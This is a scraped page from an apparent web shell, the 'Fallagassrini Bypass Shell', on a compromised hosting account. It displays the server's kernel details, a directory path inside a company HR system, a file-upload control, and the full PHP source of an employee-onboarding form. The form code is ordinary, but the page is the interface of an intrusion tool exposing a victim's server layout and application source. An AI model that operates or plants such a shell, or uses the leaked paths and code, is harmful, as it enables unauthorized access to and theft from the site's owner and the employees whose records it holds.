? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/hr/application/views/Onboarding/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/hr/application/views/Onboarding/add_employee_personal.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$num = $this->mastermodel->get_num_rows('emp_non_personal','emp_non_id',$viewinfo->emp_non_id);

?>
<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css">


<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('onboarding','viewinonboardingsearch','search_employee_personal','view_employee_personal','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Adding Employee Personal Details</span>
</div>
<?php
if($num==0)
{
?>
<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open_multipart('onboarding/addinonboarding/insert_emp_non_personal/view_employee_personal/1',$attributes);
        $religion_list=$this->mastermodel->getdatas('religion','religion_id');
    ?>
    <ul>
       <li>
       <input type="hidden" name="alert_id" value="<?=$alert_id;?>"/>
       <input type="hidden" name="emp_non_id" value="<?=$viewinfo->emp_non_id;?>"/>
       <table class="sortnew">
           <tr>
                <th colspan="2" style="text-align: center">Joining Information</th>
           </tr>
           <tr>
               <td>Full name</td><td><?=$viewinfo->emp_non_full_name;?></td>
           </tr>
           <tr>
               <td>Employee No</td><td><?=$viewinfo->emp_non_no;?></td>
           </tr>
           <tr>
               <td>Date of Joining</td><td><?=$this->mastermodel->convertdatenormalformat($viewinfo->emp_non_date_joining);?></td>
           </tr>
           <tr>
               <td>Trade</td><td><?=$this->mastermodel->getSingleFieldValue('trade','trade_name','trade_id',$viewinfo->emp_non_trade_id);?></td>
           </tr>
           <tr>
               <td>Nationality</td><td><?=$this->mastermodel->getSingleFieldValue('nationality','nationality_name','nationality_id',$viewinfo->emp_non_nationality_id);?></td>
           </tr>
       </table>
       <li>
       <label for="data">Date of Birth</label>
        <div id="multi">
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_dob',
                  'id'          => 'emp_non_personal_dob',
                  'class'       => 'required'
                  );
                  echo form_input($data).form_error($data);
             ?>
            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
        </div>
         </li>
         <li>
        <label for="data">Father's Name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_father_name',
                  'id'          => 'emp_non_personal_father_name',
                  'class'       => 'required'
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Religion</label>
            <select name="emp_non_personal_religion_id" id="emp_non_personal_religion_id" >
            <option value="">Select</option>
                 <?php
                    foreach($religion_list as $religion)
                    {
                        echo "<option value='". $religion['religion_id'] . "'>" . $religion['religion_name'] . "</option>";
                    }
                 ?>
            </select>
         </li>
         <li>
            <label for="data">Permanent Address</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_permanent_address',
                  'id'          => 'emp_non_personal_permanent_address',
                  'class'       => 'required'
                  );
                  echo form_textarea($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Contact Nos</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_contact_no',
                  'id'          => 'emp_non_personal_contact_no',
                  'class'       => 'required'
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_name',
                  'id'          => 'emp_non_personal_nok_name',
                  
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK Contact No</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_contact_no',
                  'id'          => 'emp_non_personal_nok_contact_no',

                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        

         <li>
             <table class="sort">
                 <caption>Salary Details</caption>
                 <tr>
                     <th align="center">WEF Date</th>
                     <th align="center">Basic Salary</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_wef_salary_date',
                                  'id'          => 'emp_non_personal_wef_salary_date',
                                  'value'       => date("d-m-Y")

                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                            </div>
                     </td>

                     <td>
                        <?php
                  $data = array(
                  'name'        => 'emp_non_personal_salary',
                  'id'          => 'emp_non_personal_salary',

                  );
                  echo form_input($data).form_error($data);
             ?>
                     </td>

                  </tr>
            </table>
        </li>

        
        <li>
             <table class="sort">
                 <tr>
                     <th align="center">First Vacation Due Date</th>
                     <th align="center">Remind Before (in days)</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_vacation_date',
                                  'id'          => 'emp_non_personal_vacation_date',

                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                            </div>
                     </td>
                     
                     <td>
                         <input type="text" name="emp_non_personal_vacation_remind_before" class="number" id="emp_non_personal_vacation_remind_before" style="width:30px;"/>
                     </td>

                  </tr>
            </table>
        </li>
            
        <li>
            <label for="data">Other trade Knowledge</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_other_trade',
                  'id'          => 'emp_non_personal_other_trade'
                  );
                  echo form_textarea($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Photo</label>
             <?php
                  $data = array(
                  'name'        => 'photo_name',
                  'id'          => 'photo_name'
                  );
                  $data1 = array(
                  'name'        => 'photo_doc',
                  'id'          => 'photo_doc'
                  );
                  echo form_input($data).form_error($data);
                  echo form_upload($data1).form_error($data1);
             ?>
             <input type="hidden" name="photo_doc_name" value=""/>
        </li>
        <li>
            <input type="hidden" name="tab_name" value="emp_non_personal"/>
            <input type="hidden" name="resfunction" value="search_employee_personal"/>
        </li>
        
       

        <li>
            <table class="sort">
                <caption>Send Alert for Camp Allotment to</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Username</th>
                     <th align="center">Designation</th>
                 </tr>
                 <?php
                    $i=1;
                    $user_list = $this->mastermodel->get_alert_users('8');
                    foreach ($user_list as $user)
                    {
                 ?>
                 <tr>

                     <td style="width:15px;" >
                         <input type="checkbox" name="select_user_<?=$i;?>" checked />
                     </td>

                     <td>
                         <input type="hidden" name="user_id_<?=$i;?>" value="<?=$user['id'];?>"/>
                         <?=$user['username'];?>
                     </td>

                     <td>
                        <?=$user['designation_name'];?>
                     </td>

                  </tr>
                  <?php
                  $i++;
                    }
                    ?>
            </table>
        </li>

        <li>
            <table class="sort">
                <caption>Send Alert for Site Allotment to</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Username</th>
                     <th align="center">Designation</th>
                 </tr>
                 <?php
                    $i=1;
                    $user_list = $this->mastermodel->get_alert_users('9');
                    foreach ($user_list as $user)
                    {
                 ?>
                 <tr>

                     <td style="width:15px;" >
                         <input type="checkbox" name="select_user1_<?=$i;?>" checked />
                     </td>

                     <td>
                         <input type="hidden" name="user_id1_<?=$i;?>" value="<?=$user['id'];?>"/>
                         <?=$user['username'];?>
                     </td>

                     <td>
                        <?=$user['designation_name'];?>
                     </td>

                  </tr>
                  <?php
                  $i++;
                    }
                    ?>
            </table>
        </li>
        
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>
<?php
}
else
{
?>
<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open_multipart('onboarding/addinonboarding/insert_emp_personal_rejoining/view_employee_personal/1',$attributes);
        $religion_list=$this->mastermodel->getdatas('religion','religion_id');
        $personalinfo=$this->mastermodel->get_data_srow('emp_non_personal',$viewinfo->emp_non_id,'emp_non_id');
    ?>
    <ul>
    <li>
       <input type="hidden" name="alert_id" value="<?=$alert_id;?>"/>
       <input type="hidden" name="emp_non_id" value="<?=$viewinfo->emp_non_id;?>"/>
       <table class="sortnew">
           <tr>
                <th colspan="2" style="text-align: center">Joining Information</th>
           </tr>
           <tr>
               <td>Full name</td><td><?=$viewinfo->emp_non_full_name;?></td>
           </tr>
           <tr>
               <td>Employee No</td><td><?=$viewinfo->emp_non_no;?></td>
           </tr>
           <tr>
               <td>Date of Joining</td><td><?=$this->mastermodel->convertdatenormalformat($viewinfo->emp_non_date_joining);?></td>
           </tr>
           <tr>
               <td>Trade</td><td><?=$this->mastermodel->getSingleFieldValue('trade','trade_name','trade_id',$viewinfo->emp_non_trade_id);?></td>
           </tr>
           <tr>
               <td>Nationality</td><td><?=$this->mastermodel->getSingleFieldValue('nationality','nationality_name','nationality_id',$viewinfo->emp_non_nationality_id);?></td>
           </tr>
       </table>
        <li>
       <label for="data">Date of Birth</label>
        <div id="multi">
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_dob',
                  'id'          => 'emp_non_personal_dob',
                  'class'       => 'required',
                  'value'       =>  $this->mastermodel->convertdatenormalformat($personalinfo->emp_non_personal_dob)
                  );
                  echo form_input($data).form_error($data);
             ?>
            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
        </div>
         </li>
         <li>
        <label for="data">Father's Name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_father_name',
                  'id'          => 'emp_non_personal_father_name',
                  'class'       => 'required',
                  'value'       =>  $personalinfo->emp_non_personal_father_name
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Religion</label>
            <select name="emp_non_personal_religion_id" id="emp_non_personal_religion_id" class="required">
            <option value="">Select</option>
                 <?php
                    foreach($religion_list as $religion)
                    {
                        echo "<option value='". $religion['religion_id'] . "'";if($personalinfo->emp_non_personal_religion_id ==  $religion['religion_id'] ){echo "selected";} echo ">" . $religion['religion_name'] . "</option>";
                    }
                 ?>
            </select>
         </li>
         <li>
            <label for="data">Permanent Address</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_permanent_address',
                  'id'          => 'emp_non_personal_permanent_address',
                  'class'       => 'required',
                  'value'      =>  $personalinfo->emp_non_personal_permanent_address
                  );
                  echo form_textarea($data).form_error($data);
             ?>
         </li>
         <li>
            <label for="data">Contact Nos</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_contact_no',
                  'id'          => 'emp_non_personal_contact_no',
                  'class'       => 'required',
                  'value'      =>  $personalinfo->emp_non_personal_contact_no
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_name',
                  'id'          => 'emp_non_personal_nok_name',
                  'value'      =>  $personalinfo->emp_non_personal_nok_name

                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK Contact No</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_contact_no',
                  'id'          => 'emp_non_personal_nok_contact_no',
                  'value'      =>  $personalinfo->emp_non_personal_nok_contact_no

                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>


        <?php
            $this->db->select_min('salary_id');
            $this->db->where('employee_id',$viewinfo->emp_non_id);
            $query = $this->db->get('salary');
            $row=$query->row();
            $salary_min = $this->mastermodel->get_data_srow('salary',$row->salary_id,'salary_id');
            if(!empty ($salary_min))
            {
                $salary_date = $this->mastermodel->convertdatenormalformat($salary_min->salary_increment_date);
                $salary_increment = $salary_min->salary_increment;
                $salary_id=$row->salary_id;
            }
            else
            {
                $salary_date="";
                $salary_increment = "";
                $salary_id = 0;
            }
        ?>
        <input type="hidden" name="salary_id" value="<?=$salary_id;?>"/>
        <li>
             <table class="sort">
                 <caption>Salary Details</caption>
                 <tr>
                     <th align="center">WEF Date</th>
                     <th align="center">Basic Salary</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_wef_salary_date',
                                  'id'          => 'emp_non_personal_wef_salary_date',
                                  'value'       => $salary_date
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                          </div>
                     </td>

                     <td>
                        <?php
                  $data = array(
                  'name'        => 'emp_non_personal_salary',
                  'id'          => 'emp_non_personal_salary',
                  'value'       => $salary_increment

                  );
                  echo form_input($data).form_error($data);
             ?>
                     </td>

                  </tr>
            </table>
        </li>


        <li>
             <table class="sort">
                 <caption>Vacation Details</caption>
                 <tr>
                     <th align="center">First Vacation Due Date</th>
                     <th align="center">Remind Before (in days)</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_vacation_date',
                                  'id'          => 'emp_non_personal_vacation_date'
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                            </div>
                     </td>

                     <td>
                         <input type="text" name="emp_non_personal_vacation_remind_before"  class="number" id="emp_non_personal_vacation_remind_before" style="width:30px;"/>
                     </td>

                  </tr>
            </table>
        </li>

        <li>
            <label for="data">Other trade Knowledge</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_other_trade',
                  'id'          => 'emp_non_personal_other_trade',
                  'value'      =>  $personalinfo->emp_non_personal_other_trade
                  );
                  echo form_textarea($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Photo</label>
             <?php
                  $data = array(
                  'name'        => 'photo_name',
                  'id'          => 'photo_name',
                  'value'       => $personalinfo->photo_name
                  );
                  $data1 = array(
                  'name'        => 'photo_doc',
                  'id'          => 'photo_doc'
                  );
                  echo form_input($data).form_error($data);
                  echo form_upload($data1).form_error($data1);
             ?>
            <input type="hidden" name="photo_doc_name" value="<?=$personalinfo->photo_doc;?>"/>
        </li>
        <li>
        <label for="data"></label>
        <?php
            if($personalinfo->photo_doc != "")
            {
        ?>
        <img src="<?=base_url()?>assets/uploads/<?=$personalinfo->photo_doc;?>" alt="Employee Photo"/>
        <?php
            }
        ?>
            <input type="hidden" name="tab_name" value="emp_non_personal"/>
            <input type="hidden" name="resfunction" value="search_employee_personal"/>
        </li>

          <li>
            <table class="sort">
                <caption>Send Alert for Camp Allotment to</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Username</th>
                     <th align="center">Designation</th>
                 </tr>
                 <?php
                    $i=1;
                    $user_list = $this->mastermodel->get_alert_users('8');
                    foreach ($user_list as $user)
                    {
                 ?>
                 <tr>

                     <td style="width:15px;" >
                         <input type="checkbox" name="select_user_<?=$i;?>" checked />
                     </td>

                     <td>
                         <input type="hidden" name="user_id_<?=$i;?>" value="<?=$user['id'];?>"/>
                         <?=$user['username'];?>
                     </td>

                     <td>
                        <?=$user['designation_name'];?>
                     </td>

                  </tr>
                  <?php
                  $i++;
                    }
                    ?>
            </table>
        </li>

        <li>
            <table class="sort">
                <caption>Send Alert for Site Allotment to</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Username</th>
                     <th align="center">Designation</th>
                 </tr>
                 <?php
                    $i=1;
                    $user_list = $this->mastermodel->get_alert_users('9');
                    foreach ($user_list as $user)
                    {
                 ?>
                 <tr>

                     <td style="width:15px;" >
                         <input type="checkbox" name="select_user1_<?=$i;?>" checked />
                     </td>

                     <td>
                         <input type="hidden" name="user_id1_<?=$i;?>" value="<?=$user['id'];?>"/>
                         <?=$user['username'];?>
                     </td>

                     <td>
                        <?=$user['designation_name'];?>
                     </td>

                  </tr>
                  <?php
                  $i++;
                    }
                    ?>
            </table>
        </li>

        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>
<?php
}
?>
  

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net